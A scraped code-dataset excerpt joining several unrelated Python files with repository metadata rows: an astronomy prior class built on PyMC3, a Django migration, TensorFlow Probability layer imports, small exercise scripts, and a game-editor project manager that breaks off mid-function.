import theano.tensor as tt
import pymc3 as pm
import exoplanet.units as xu
self.model = _validate_model(model)
# Parse and clean up the input pars
if pars is None:
pars = dict()
pars.update(model.named_vars)
elif isinstance(pars, tt.TensorVariable): # a single variable
# Note: this has to go before the next clause because TensorVariable
# instances are iterable...
pars = {pars.name: pars}
else:
try:
pars = dict(pars) # try to coerce to a dictionary
except Exception:
# if that fails, assume it is an iterable, like a list or tuple
try:
pars = {p.name: p for p in pars}
except Exception:
raise ValueError("Invalid input parameters: The input "
"`pars` must either be a dictionary, "
"list, or a single pymc3 variable, not a "
"'{}'.".format(type(pars)))
# Set the number of polynomial trend parameters
self.poly_trend, self._v_trend_names = validate_poly_trend(poly_trend)
# Calibration offsets of velocity zero-point
if v0_offsets is None:
v0_offsets = []
try:
v0_offsets = list(v0_offsets)
except Exception:
raise TypeError("Constant velocity offsets must be an iterable "
"of pymc3 variables that define the priors on "
"each offset term.")
self.v0_offsets = v0_offsets
pars.update({p.name: p for p in self.v0_offsets})
# Store the names of the default parameters, used for validating input:
# Note: these are *not* the units assumed internally by the code, but
# are only used to validate that the units for each parameter are
# equivalent to these
self._nonlinear_equiv_units = get_nonlinear_equiv_units()
self._linear_equiv_units = get_linear_equiv_units(self.poly_trend)
self._v0_offsets_equiv_units = get_v0_offsets_equiv_units(self.n_offsets)
self._all_par_unit_equiv = {**self._nonlinear_equiv_units,
**self._linear_equiv_units,
**self._v0_offsets_equiv_units}
# At this point, pars must be a dictionary: validate that all
# parameters are specified and that they all have units
for name in self.par_names:
if name not in pars:
raise ValueError(f"Missing prior for parameter '{name}': "
"you must specify a prior distribution for "
"all parameters.")
if not hasattr(pars[name], xu.UNIT_ATTR_NAME):
raise ValueError(f"Parameter '{name}' does not have associated "
"units: Use exoplanet.units to specify units "
"for your pymc3 variables. See the "
"documentation for examples: thejoker.rtfd.io")
equiv_unit = self._all_par_unit_equiv[name]
if not getattr(pars[name],
xu.UNIT_ATTR_NAME).is_equivalent(equiv_unit):
raise ValueError(f"Parameter '{name}' has an invalid unit: "
f"The units for this parameter must be "
f"transformable to '{equiv_unit}'")
# Enforce that the priors on all linear parameters are Normal (or a
# subclass of Normal)
for name in (list(self._linear_equiv_units.keys())
+ list(self._v0_offsets_equiv_units.keys())):
if not isinstance(pars[name].distribution, pm.Normal):
raise ValueError("Priors on the linear parameters (K, v0, "
"etc.) must be independent Normal "
"distributions, not '{}'"
.format(type(pars[name].distribution)))
self.pars = pars
@classmethod
def default(cls, P_min=None, P_max=None, sigma_K0=None, P0=1*u.year,
sigma_v=None, s=None, poly_trend=1, v0_offsets=None,
model=None, pars=None):
r"""
An alternative initializer to set up the default prior for The Joker.
The default prior is:
.. math::
p(P) \propto \frac{1}{P} \quad ; \quad P \in (P_{\rm min}, P_{\rm max})\\
p(e) = B(a_e, b_e)\\
p(\omega) = \mathcal{U}(0, 2\pi)\\
p(M_0) = \mathcal{U}(0, 2\pi)\\
p(s) = 0\\
p(K) = \mathcal{N}(K \,|\, \mu_K, \sigma_K)\\
\sigma_K = \sigma_{K, 0} \, \left(\frac{P}{P_0}\right)^{-1/3} \, \left(1 - e^2\right)^{-1/2}
and the priors on any polynomial trend parameters are assumed to be
independent, univariate Normals.
This prior has sensible choices for typical binary star or exoplanet
use cases, but if you need more control over the prior distributions
you might need to use the standard initializer (i.e.
``JokerPrior(...)```) and specify all parameter distributions manually.
See `the documentation <http://thejoker.readthedocs.io>`_ for tutorials
that demonstrate this functionality.
Parameters
----------
P_min : `~astropy.units.Quantity` [time]
Minimum period for the default period prior.
P_max : `~astropy.units.Quantity` [time]
Maximum period for the default period prior.
sigma_K0 : `~astropy.units.Quantity` [speed]
The scale factor, :math:`\sigma_{K, 0}` in the equation above that
sets the scale of the semi-amplitude prior at the reference period,
``P0``.
P0 : `~astropy.units.Quantity` [time]
The reference period, :math:`P_0`, used in the prior on velocity
semi-amplitude (see equation above).
sigma_v : `~astropy.units.Quantity` (or iterable of)
The standard deviations of the velocity trend priors.
s : `~astropy.units.Quantity` [speed]
The jitter value, assuming it is constant.
poly_trend : int (optional)
Specifies the number of coefficients in an additional polynomial
velocity trend, meant to capture long-term trends in the data. The
default here is ``polytrend=1``, meaning one term: the (constant)
systemtic velocity. For example, ``poly_trend=3`` will sample over
parameters of a long-term quadratic velocity trend.
v0_offsets : list (optional)
A list of additional Gaussian parameters that set systematic offsets
of subsets of the data. TODO: link to tutorial here
model : `pymc3.Model` (optional)
If not specified, this will create a model instance and store it on
the prior object.
pars : dict, list (optional)
Either a list of pymc3 variables, or a dictionary of variables with
keys set to the variable names. If any of these variables are
defined as deterministic transforms from other variables, see the
next parameter below.
"""
model = _validate_model(model)
nl_pars = default_nonlinear_prior(P_min, P_max, s=s,
model=model, pars=pars)
l_pars = default_linear_prior(sigma_K0=sigma_K0, P0=P0, sigma_v=sigma_v,
poly_trend=poly_trend, model=model,
pars=pars)
pars = {**nl_pars, **l_pars}
obj = cls(pars=pars, model=model, poly_trend=poly_trend,
v0_offsets=v0_offsets)
return obj
@property
def par_names(self):
return (list(self._nonlinear_equiv_units.keys())
+ list(self._linear_equiv_units.keys())
+ list(self._v0_offsets_equiv_units))
@property
def par_units(self):
import exoplanet.units as xu
return {p.name: getattr(p, xu.UNIT_ATTR_NAME, u.one) for p in self.pars}
@property
def n_offsets(self):
return len(self.v0_offsets)
def __repr__(self):
return f'<JokerPrior [{", ".join(self.par_names)}]>'
def __str__(self):
return ", ".join(self.par_names)
def sample(self, size=1, generate_linear=False, return_logprobs=False,
random_state=None, dtype=None, **kwargs):
"""
Generate random samples from the prior.
.. note::
Right now, generating samples with the prior values is slow (i.e.
with ``return_logprobs=True``) because of pymc3 issues (see
discussion here:
https://discourse.pymc.io/t/draw-values-speed-scaling-with-transformed-variables/4076).
This will hopefully be resolved in the future...
Parameters
----------
size : int (optional)
The number of samples to generate.
generate_linear : bool (optional)
Also generate samples in the linear parameters.
return_logprobs : bool (optional)
Generate the log-prior probability at the position of each sample.
**kwargs
Additional keyword arguments are passed to the
`~thejoker.JokerSamples` initializer.
Returns
-------
samples : `thejoker.Jokersamples`
The random samples.
"""
from theano.gof.fg import MissingInputError
from pymc3.distributions import draw_values
import exoplanet.units as xu
if dtype is None:
dtype = np.float64
sub_pars = {k: p for k, p in self.pars.items()
if k in self._nonlinear_equiv_units
or ((k in self._linear_equiv_units
or k in self._v0_offsets_equiv_units)
and generate_linear)}
if generate_linear:
par_names = self.par_names
else:
par_names = list(self._nonlinear_equiv_units.keys())
pars_list = list(sub_pars.values())
# MAJOR HACK RELATED TO UPSTREAM ISSUES WITH pymc3:
init_shapes = dict()
for par in pars_list:
if hasattr(par, 'distribution'):
init_shapes[par.name] = par.distribution.shape
par.distribution.shape = (size, )
with random_state_context(random_state):
samples_values = draw_values(pars_list)
raw_samples = {p.name: samples.astype(dtype)
for p, samples in zip(pars_list, samples_values)}
if return_logprobs:
logp = []
for par in pars_list:
try:
_logp = par.distribution.logp(raw_samples[par.name]).eval()
except AttributeError:
logger.warning("Cannot auto-compute log-prior value for "
f"parameter {par} because it is defined "
"as a transformation from another "
"variable.")
continue
except MissingInputError:
logger.warning("Cannot auto-compute log-prior value for "
f"parameter {par} because it depends on "
"other variables.")
continue
logp.append(_logp)
log_prior = np.sum(logp, axis=0)
# CONTINUED MAJOR HACK RELATED TO UPSTREAM ISSUES WITH pymc3:
for par in pars_list:
if hasattr(par, 'distribution'):
par.distribution.shape = init_shapes[par.name]
# Apply units if they are specified:
prior_samples = JokerSamples(poly_trend=self.poly_trend,
n_offsets=self.n_offsets,
**kwargs)
for name in par_names:
p = sub_pars[name]
unit = getattr(p, xu.UNIT_ATTR_NAME, u.one)
if p.name not in prior_samples._valid_units.keys():
continue
prior_samples[p.name] = np.atleast_1d(raw_samples[p.name]) * unit
if return_logprobs:
prior_samples['ln_prior'] = log_prior
# TODO: right now, elsewhere, we assume the log_prior is a single value
# for each sample (i.e. the total prior value). In principle, we could
# store all of the individual log-prior values (for each parameter),
# like here:
# log_prior = {k: np.atleast_1d(v)
# for k, v in log_prior.items()}
# log_prior = Table(log_prior)[par_names]
return prior_samples
@u.quantity_input(P_min=u.day, P_max=u.day)
def default_nonlinear_prior(P_min=None, P_max=None, s=None,
model=None, pars=None):
r"""
Retrieve pymc3 variables that specify the default prior on the nonlinear
parameters of The Joker. See docstring of `JokerPrior.default()` for more
information.
The nonlinear parameters an default prior forms are:
* ``P``, period: :math:`p(P) \propto 1/P`, over the domain
:math:`(P_{\rm min}, P_{\rm max})`
* ``e``, eccentricity: the short-period form from Kipping (2013)
* ``M0``, phase: uniform over the domain :math:`(0, 2\pi)`
* ``omega``, argument of pericenter: uniform over the domain
:math:`(0, 2\pi)`
* ``s``, additional extra variance added in quadrature to data
uncertainties: delta-function at 0
Parameters
----------
P_min : `~astropy.units.Quantity` [time]
P_max : `~astropy.units.Quantity` [time]
s : `~pm.model.TensorVariable`, ~astropy.units.Quantity` [speed]
model : `pymc3.Model`
This is either required, or this function must be called within a pymc3
model context.
"""
import theano.tensor as tt
import pymc3 as pm
from exoplanet.distributions import Angle
import exoplanet.units as xu
from .distributions import UniformLog, Kipping13Global
model = pm.modelcontext(model)
if pars is None:
pars = dict()
if s is None:
s = 0 * u.m/u.s
if isinstance(s, pm.model.TensorVariable):
pars['s'] = pars.get('s', s)
else:
if not hasattr(s, 'unit') or not s.unit.is_equivalent(u.km/u.s):
raise u.UnitsError("Invalid unit for s: must be equivalent to km/s")
# dictionary of parameters to return
out_pars = dict()
with model:
# Set up the default priors for parameters with defaults
# Note: we have to do it this way (as opposed to with .get(..., default)
# because this can only get executed if the param is not already
# defined, otherwise variables are defined twice in the model
if 'e' not in pars:
out_pars['e'] = xu.with_unit(Kipping13Global('e'),
u.one)
# If either omega or M0 is specified by user, default to U(0,2π)
if 'omega' not in pars:
out_pars['omega'] = xu.with_unit(Angle('omega'), u.rad)
if 'M0' not in pars:
out_pars['M0'] = xu.with_unit(Angle('M0'), u.rad)
if 's' not in pars:
out_pars['s'] = xu.with_unit(pm.Deterministic('s',
tt.constant(s.value)),
s.unit)
if 'P' not in pars:
if P_min is None or P_max is None:
raise ValueError("If you are using the default period prior, "
"you must pass in both P_min and P_max to set "
"the period prior domain.")
out_pars['P'] = xu.with_unit(UniformLog('P',
P_min.value,
P_max.to_value(P_min.unit)),
P_min.unit)
for k in pars.keys():
out_pars[k] = pars[k]
return out_pars
@u.quantity_input(sigma_K0=u.km/u.s, P0=u.day)
def default_linear_prior(sigma_K0=None, P0=None, sigma_v=None,
poly_trend=1, model=None, pars=None):
r"""
Retrieve pymc3 variables that specify the default prior on the linear
parameters of The Joker. See docstring of `JokerPrior.default()` for more
information.
The linear parameters an default prior forms are:
* ``K``, velocity semi-amplitude: Normal distribution, but with a variance
that scales with period and eccentricity.
* ``v0``, ``v1``, etc. polynomial velocity trend parameters: Independent
Normal distributions.
Parameters
----------
sigma_K0 : `~astropy.units.Quantity` [speed]
P0 : `~astropy.units.Quantity` [time]
sigma_v : iterable of `~astropy.units.Quantity`
model : `pymc3.Model`
This is either required, or this function must be called within a pymc3
model context.
"""
import pymc3 as pm
import exoplanet.units as xu
from .distributions import FixedCompanionMass
model = pm.modelcontext(model)
if pars is None:
pars = dict()
# dictionary of parameters to return
out_pars = dict()
# set up poly. trend names:
poly_trend, v_names = validate_poly_trend(poly_trend)
# get period/ecc from dict of nonlinear parameters
P = model.named_vars.get('P', None)
e = model.named_vars.get('e', None)
if P is None or e is None:
raise ValueError("Period P and eccentricity e must both be defined as "
"nonlinear parameters on the model.")
if v_names and 'v0' not in pars:
sigma_v = validate_sigma_v(sigma_v, poly_trend, v_names)
with model:
if 'K' not in pars:
if sigma_K0 is None or P0 is None:
raise ValueError("If using the default prior form on K, you "
"must pass in a variance scale (sigma_K0) "
"and a reference period (P0)")
# Default prior on semi-amplitude: scales with period and
# eccentricity such that it is flat with companion mass
v_unit = sigma_K0.unit
out_pars['K'] = xu.with_unit(FixedCompanionMass('K', P=P, e=e,
sigma_K0=sigma_K0,
P0=P0),
v_unit)
else:
v_unit = getattr(pars['K'], xu.UNIT_ATTR_NAME, u.one)
for i, name in enumerate(v_names):
if name not in pars:
# Default priors are independent gaussians
# FIXME: make mean, mu_v, customizable
out_pars[name] = xu.with_unit(
pm.Normal(name, 0.,
sigma_v[name].value),
sigma_v[name].unit)
for k in pars.keys():
out_pars[k] = pars[k]
return out_pars
| [
"[email protected]"
] | |
584809ed53ad5619053d2185651806cf8714ed04 | 2195bec4cc44f5eb552f46fe62135d9f22e6dc03 | /apps/trade/migrations/0008_auto_20190122_1826.py | 25d6418999665e72e1ecc7a24ee97f90647b4dac | [] | no_license | DzrJob/gulishop | 5c802d1bba0ad6ec23aa4c29a8ac6abcc085497b | 5620f09cd6d2a99e7643d5ec0b6bc9e1203be6fe | refs/heads/master | 2020-04-16T17:58:17.404170 | 2019-02-07T07:17:59 | 2019-02-07T07:17:59 | 165,797,566 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 862 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2019-01-22 18:26
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('trade', '0007_auto_20190122_1812'),
]
operations = [
migrations.AlterField(
model_name='orderinfo',
name='address',
field=models.CharField(max_length=200, verbose_name='收货地址'),
),
migrations.AlterField(
model_name='orderinfo',
name='signer_mobile',
field=models.CharField(max_length=11, verbose_name='联系电话'),
),
migrations.AlterField(
model_name='orderinfo',
name='signer_name',
field=models.CharField(max_length=30, verbose_name='签收人'),
),
]
| [
"[email protected]"
] | |
c7c6abe6ddd69173a76601375d5aa36b3acc06e4 | 0627cc5c3adb47fd4e780b31a76d17839ad384ec | /tensorflow_probability/python/layers/__init__.py | 55a5079eaf94190c21b271793559f7ec7f4b90b3 | [
"Apache-2.0"
] | permissive | ml-lab/probability | 7e57377ae15bcbb9a7878e23d53f4505823b9117 | 09c1e495c929f5bc461a4edbc7710ab81b5b4933 | refs/heads/master | 2021-09-09T04:40:10.045594 | 2018-03-13T23:26:59 | 2018-03-13T23:27:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,304 | py | # Copyright 2018 The TensorFlow Probability Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""TensorFlow Probability layers."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from tensorflow_probability.python.layers.conv_variational import convolution1d_flipout
from tensorflow_probability.python.layers.conv_variational import convolution1d_reparameterization
from tensorflow_probability.python.layers.conv_variational import Convolution1DFlipout
from tensorflow_probability.python.layers.conv_variational import Convolution1DReparameterization
from tensorflow_probability.python.layers.conv_variational import convolution2d_flipout
from tensorflow_probability.python.layers.conv_variational import convolution2d_reparameterization
from tensorflow_probability.python.layers.conv_variational import Convolution2DFlipout
from tensorflow_probability.python.layers.conv_variational import Convolution2DReparameterization
from tensorflow_probability.python.layers.conv_variational import convolution3d_flipout
from tensorflow_probability.python.layers.conv_variational import convolution3d_reparameterization
from tensorflow_probability.python.layers.conv_variational import Convolution3DFlipout
from tensorflow_probability.python.layers.conv_variational import Convolution3DReparameterization
from tensorflow_probability.python.layers.dense_variational import dense_flipout
from tensorflow_probability.python.layers.dense_variational import dense_local_reparameterization
from tensorflow_probability.python.layers.dense_variational import dense_reparameterization
from tensorflow_probability.python.layers.dense_variational import DenseFlipout
from tensorflow_probability.python.layers.dense_variational import DenseLocalReparameterization
from tensorflow_probability.python.layers.dense_variational import DenseReparameterization
from tensorflow_probability.python.layers.util import default_loc_scale_fn
from tensorflow_probability.python.layers.util import default_mean_field_normal_fn
__all__ = [
'Convolution1DFlipout',
'Convolution1DReparameterization',
'Convolution2DFlipout',
'Convolution2DReparameterization',
'Convolution3DFlipout',
'Convolution3DReparameterization',
'DenseFlipout',
'DenseLocalReparameterization',
'DenseReparameterization',
'convolution1d_flipout',
'convolution1d_reparameterization',
'convolution2d_flipout',
'convolution2d_reparameterization',
'convolution3d_flipout',
'convolution3d_reparameterization',
'default_loc_scale_fn',
'default_mean_field_normal_fn',
'dense_flipout',
'dense_local_reparameterization',
'dense_reparameterization',
]
| [
"[email protected]"
] | |
a771a00c3fd049c6dc8482812b8ea1fb06246838 | 1c72aa6d53c886d8fb8ae41a3e9b9c6c4dd9dc6f | /Semester 1/Project submissions/Lewis Clarke/Lewis_Clarke_Python_Coding-2016-04-18/Python Coding/Week 6/position_in_alphabet.py | be2781345f12dca69e6c90d6d0f722351786bf62 | [] | no_license | codebubb/python_course | 74761ce3189d67e3aff964c056aeab27d4e94d4a | 4a6ed4a64e6a726d886add8364c65956d5053fc2 | refs/heads/master | 2021-01-11T03:06:50.519208 | 2016-07-29T10:47:12 | 2016-10-17T10:42:29 | 71,114,974 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 350 | py | key = 'abcdefghijklmnopqrstuvwxyz'
def alpha():
word = raw_input('Enter a letter to find its numerical value: ')
if word not in key:
word = raw_input('You did not enter a letter.\nEnter a letter to find its numerical value: ')
for i in word:
n = 1
x = (key.index(i) + n)
print x
alpha()
| [
"[email protected]"
] | |
08366dcc624471b8269aabe510ee9f4625242ad9 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03012/s966640357.py | f6c0b5afb072f834dc2ec2f8bf626c997ed95245 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 185 | py | N = int(input())
W = input().split()
W = [int(w) for w in W]
S = sum(W)
mini = pow(10, 10)
for i in range(N):
mi = abs(S - 2 * sum(W[0:i]))
if mi < mini:
mini = mi
print(mini) | [
"[email protected]"
] | |
dccbf0aa8ca5790f9398e781f70be9b622d73121 | 620b58e17d4851e43bd1270cabc8c26f43629a7b | /lib/candy_editor/core/project.py | 69425c8ff5a3552a6ad7ce5b1f6313225e568819 | [
"MIT"
] | permissive | lihaochen910/Candy | 78b9862cf06748b365b6fb35ac23f0e7a00ab558 | d12cb964768459c22f30c22531d3e1734901e814 | refs/heads/master | 2022-11-25T19:12:34.533828 | 2021-11-07T16:11:07 | 2021-11-07T16:11:07 | 141,284,960 | 1 | 1 | NOASSERTION | 2022-11-22T09:20:08 | 2018-07-17T12:12:02 | Lua | UTF-8 | Python | false | false | 13,353 | py | import logging
import sys
import os
import os.path
import re
import shutil
import hashlib
import time
from . import signals
from . import jsonHelper
##----------------------------------------------------------------##
from .cache import CacheManager
from .asset import AssetLibrary
##----------------------------------------------------------------##
_CANDY_ENV_DIR = 'env'
_CANDY_GAME_DIR = 'game'
_CANDY_HOST_DIR = 'host'
_CANDY_BINARY_DIR = 'bin'
_CANDY_ASSET_DIR = _CANDY_GAME_DIR + '/asset'
# _CANDY_SCRIPT_LIB_DIR = _CANDY_GAME_DIR + '/lib'
_CANDY_SCRIPT_LIB_DIR = _CANDY_GAME_DIR
_CANDY_HOST_EXTENSION_DIR = _CANDY_HOST_DIR + '/extension'
_CANDY_ENV_PACKAGE_DIR = _CANDY_ENV_DIR + '/packages'
_CANDY_ENV_DATA_DIR = _CANDY_ENV_DIR + '/data'
_CANDY_ENV_LIB_DIR = _CANDY_ENV_DIR + '/lib'
_CANDY_ENV_CONFIG_DIR = _CANDY_ENV_DIR + '/config'
_CANDY_INFO_FILE = 'project.json'
_CANDY_CONFIG_FILE = 'config.json'
####----------------------------------------------------------------##
_default_config = {
"excluded_packages" : []
}
##----------------------------------------------------------------##
def _fixPath ( path ):
path = path.replace ( '\\', '/' ) #for windows
if path.startswith ('./'): path = path[2:]
return path
##----------------------------------------------------------------##
def _makePath ( base, path ):
if path:
return base + '/' + path
else:
return base
##----------------------------------------------------------------##
def _affirmPath ( path ):
if os.path.exists ( path ): return
try:
os.mkdir ( path )
except Exception as e:
pass
##----------------------------------------------------------------##
def _hashPath ( path ):
name, ext = os.path.splitext ( os.path.basename ( path ) )
m = hashlib.md5 ()
m.update ( path.encode ('utf-8') )
return m.hexdigest ()
##----------------------------------------------------------------##
class ProjectException ( Exception ):
pass
##----------------------------------------------------------------##
class Project ( object ):
_singleton = None
@staticmethod
def get ():
return Project._singleton
@staticmethod
def findProject ( path = None ):
#TODO: return project info dict instead of path?
path = os.path.abspath ( path or '' )
opath = None
while path and not ( path in ( '', '/','\\' ) ):
if os.path.exists ( path + '/' + _CANDY_ENV_CONFIG_DIR ) \
and os.path.exists ( path + '/' + _CANDY_INFO_FILE ) :
#get info
info = jsonHelper.tryLoadJSON ( path + '/' + _CANDY_INFO_FILE )
info['path'] = path
return info
#go up level
opath = path
path = os.path.dirname ( path )
if path == opath: break
return None
def __init__ ( self ):
assert not Project._singleton
Project._singleton = self
self.path = None
self.cacheManager = CacheManager ()
self.assetLibrary = AssetLibrary ()
self.info = {
'name' : 'Name',
'author' : 'author',
'version' : '1.0.0'
}
self.config = {}
def isLoaded ( self ):
return self.path != None
def _initPath ( self, path ):
self.path = path
self.binaryPath = path + '/' + _CANDY_BINARY_DIR
self.gamePath = path + '/' + _CANDY_GAME_DIR
self.envPath = path + '/' + _CANDY_ENV_DIR
self.envPackagePath = path + '/' + _CANDY_ENV_PACKAGE_DIR
self.envDataPath = path + '/' + _CANDY_ENV_DATA_DIR
self.envConfigPath = path + '/' + _CANDY_ENV_CONFIG_DIR
self.envLibPath = path + '/' + _CANDY_ENV_LIB_DIR
self.assetPath = path + '/' + _CANDY_ASSET_DIR
self.scriptLibPath = path + '/' + _CANDY_SCRIPT_LIB_DIR
self.hostPath = path + '/' + _CANDY_HOST_DIR
self.hostExtensionPath = path + '/' + _CANDY_HOST_EXTENSION_DIR
def _affirmDirectories ( self ):
#mkdir - lv1
_affirmPath ( self.binaryPath )
_affirmPath ( self.envPath )
_affirmPath ( self.envPackagePath )
_affirmPath ( self.envDataPath )
_affirmPath ( self.envLibPath )
_affirmPath ( self.envConfigPath )
_affirmPath ( self.gamePath )
_affirmPath ( self.assetPath )
_affirmPath ( self.scriptLibPath )
_affirmPath ( self.hostPath )
_affirmPath ( self.hostExtensionPath )
def init ( self, path, name ):
info = Project.findProject ( path )
if info:
raise ProjectException ( 'Candy project already initialized:' + info[ 'path' ] )
#
path = os.path.realpath ( path )
if not os.path.isdir ( path ):
raise ProjectException ('%s is not a valid path' % path )
self._initPath ( path )
#
# logging.info ( 'copy template contents' )
# from MainModulePath import getMainModulePath
# def ignore ( src, names ):
# return ['.DS_Store']
# shutil.copytree ( getMainModulePath ('template/host'), self.getPath ('host'), ignore )
# shutil.copytree ( getMainModulePath ('template/game'), self.getPath ('game'), ignore )
# shutil.copy ( getMainModulePath ('template/.gitignore'), self.getPath () )
self._affirmDirectories ()
try:
self.cacheManager.init ( _CANDY_ENV_CONFIG_DIR, self.envConfigPath )
except OSError as e:
raise ProjectException ('error creating cache folder:%s' % e)
self.assetLibrary.load ( _CANDY_ASSET_DIR, self.assetPath, self.path, self.envConfigPath )
signals.emitNow ( 'project.init', self )
logging.info ( 'project initialized: %s' % path )
self.info[ 'name' ] = name
self.saveConfig ()
self.save ()
return True
def load ( self, path ):
path = os.path.realpath (path )
self._initPath ( path )
self._affirmDirectories ()
# os.chdir ( path )
sys.path.insert ( 0, self.envLibPath )
sys.path.insert ( 0, self.getBinaryPath ( 'python' ) ) #for python extension modules
self.info = jsonHelper.tryLoadJSON ( self.getBasePath ( _CANDY_INFO_FILE ) )
self.config = jsonHelper.tryLoadJSON ( self.getConfigPath ( _CANDY_CONFIG_FILE ) )
if not self.config:
self.config = {}
jsonHelper.trySaveJSON ( self.config, self.getConfigPath ( _CANDY_CONFIG_FILE ) )
if not self.info:
self.info = {
'name' : 'name',
'version' : [0,0,1],
}
jsonHelper.trySaveJSON ( self.info, self.getBasePath ( _CANDY_INFO_FILE ) )
self.cacheManager.load ( _CANDY_ENV_CONFIG_DIR, self.envConfigPath )
self.assetLibrary.load ( _CANDY_ASSET_DIR, self.assetPath, self.path, self.envConfigPath )
#will trigger other module
signals.emitNow ( 'project.preload', self )
signals.emitNow ( 'project.load', self )
logging.info ( 'project loaded: %s' % path )
return True
def loadAssetLibrary ( self ):
#load cache & assetlib
self.assetLibrary.loadAssetTable ()
def deploy ( self, **option ):
base = self.getPath ( option.get ( 'path', 'output' ) )
context = DeployContext ( base )
context.cleanPath ()
hostResPath = self.getHostPath ('resource')
gameLibPath = self.getGamePath ('lib')
logging.info ( 'deploy current project' )
context.copyFilesInDir ( hostResPath )
context.copyFile ( gameLibPath, 'lib' )
signals.emitNow ( 'project.pre_deploy', context )
#deploy asset library
objectFiles = []
for node in self.assetLibrary.assetTable.values ():
mgr = node.getManager ()
if not mgr: continue
mgr.deployAsset ( node, context )
#copy scripts
#copy static resources
signals.emitNow ( 'project.deploy', context )
self.assetLibrary.saveAssetTable (
path = base + '/asset/asset_index',
deploy_context = context
)
context.flushTask ()
signals.emitNow ( 'project.post_deploy', context )
print ( 'Deploy building done!' )
signals.emitNow ( 'project.done_deploy', context )
def save ( self ):
logging.info ( 'saving current project' )
signals.emitNow ( 'project.presave', self )
#save project info & config
jsonHelper.trySaveJSON ( self.info, self.getBasePath ( _CANDY_INFO_FILE ), 'project info' )
#save asset & cache
self.assetLibrary.save ()
self.cacheManager.clearFreeCacheFiles ()
self.cacheManager.save ()
signals.emitNow ( 'project.save', self ) #post save
logging.info ( 'project saved' )
return True
def saveConfig ( self ):
jsonHelper.trySaveJSON ( self.config, self.getConfigPath ( _CANDY_CONFIG_FILE ), 'project config')
def getRelativePath ( self, path ):
return _fixPath ( os.path.relpath ( path, self.path ) )
def getPath ( self, path=None ):
return self.getBasePath ( path )
def getBasePath ( self, path=None ):
return _makePath ( self.path, path )
def getEnvPath ( self, path=None ):
return _makePath ( self.envPath, path )
def getEnvDataPath ( self, path=None ):
return _makePath ( self.envDataPath, path )
def getEnvLibPath ( self, path=None ):
return _makePath ( self.envLibPath, path )
def getHostPath ( self, path=None ):
return _makePath ( self.hostPath, path )
def getPackagePath ( self, path=None ):
return _makePath ( self.envPackagePath, path )
def getConfigPath ( self, path=None ):
return _makePath ( self.envConfigPath, path )
def getBinaryPath ( self, path=None ):
return _makePath ( self.binaryPath, path )
def getGamePath ( self, path=None ):
return _makePath ( self.gamePath, path )
def getAssetPath ( self, path=None ):
return _makePath ( self.assetPath, path )
def getAssetNodeRelativePath ( self, path ):
return _fixPath ( os.path.relpath ( path, self.assetPath ) )
def getScriptLibPath ( self, path=None ):
return _makePath ( self.scriptLibPath, path )
def isProjectFile ( self, path ):
path = os.path.abspath ( path )
relpath = os.path.relpath ( path, self.path )
return not ( relpath.startswith ( '..' ) or relpath.startswith ( '/' ) )
def getConfigDict ( self ):
return self.config
def getConfig ( self, key, default = None ):
return self.config.get ( key, default )
def setConfig ( self, key, value ):
self.config[ key ] = value
self.saveConfig ()
def getAssetLibrary ( self ):
return self.assetLibrary
def getCacheManager ( self ):
return self.cacheManager
def generateID ( self ):
userID = 1
index = self.globalIndex
self.globalIndex += 1
return '%d:%d'% ( userID, index )
Project ()
##----------------------------------------------------------------##
class DeployContext ():
_ignoreFilePattern = [
'\.git',
'\.assetmeta',
'^\..*',
]
def __init__ ( self, path ):
self.taskQueue = []
self.path = path
self.assetPath = path + '/asset'
self.fileMapping = {}
self.meta = {}
self.startTime = time.time ()
def cleanPath ( self ):
logging.info ( 'removing output path: %s' % self.path )
# if os.path.isdir ( self.path ):
# shutil.rmtree ( self.path )
_affirmPath ( self.path )
_affirmPath ( self.assetPath )
def ignorePattern ( self ):
return DeployContext._ignoreFilePattern
def getAssetPath ( self, path = None ):
return _makePath ( self.assetPath, path )
def getPath ( self, path = None ):
return _makePath ( self.path, path )
# def getAbsPath ( self, path = None):
def addTask ( self, stage, func, *args ):
task = ( func, args )
self.taskQueue.append ( task )
def _copyFile ( self, src, dst ):
if os.path.isdir ( src ): #dir
if not os.path.exists ( dst ): os.mkdir ( dst )
if os.path.isdir ( dst ):
for f in os.listdir ( src ):
if self.checkFileIgnorable ( f ): continue
self._copyFile ( src + '/' + f, dst + '/' + f )
else: #file
if not os.path.exists ( dst )\
or ( os.path.getmtime ( src ) > os.path.getmtime ( dst ) ):
shutil.copy ( src, dst )
def isNewFile ( self, absPath ):
return int ( os.path.getmtime ( absPath ) ) >= int (self.startTime)
def copyFile ( self, srcPath, dstPath = None, **option ):
if not dstPath:
dstPath = os.path.basename ( srcPath )
absDstPath = self.getPath ( dstPath )
self._copyFile ( srcPath, absDstPath )
def copyFilesInDir ( self, srcDir, dstDir = None ):
if not os.path.isdir ( srcDir ):
raise Exception ( 'Directory expected' )
for fname in os.listdir ( srcDir ):
if self.checkFileIgnorable ( fname ): continue
fpath = srcDir + '/' + fname
self.copyFile ( fpath )
def hasFile ( self, srcPath ):
return srcPath in self.fileMapping
def addFile ( self, srcPath, dstPath = None, **option ):
newPath = self.fileMapping.get ( srcPath, None )
if newPath:
if dstPath and dstPath != newPath:
logging.warn ( 'attempt to deploy a file with different names' )
if not option.get ( 'force', False ): return newPath
#mapping
if not dstPath:
dstPath = 'asset/' + _hashPath ( srcPath )
self.fileMapping[ srcPath ] = dstPath
#copy
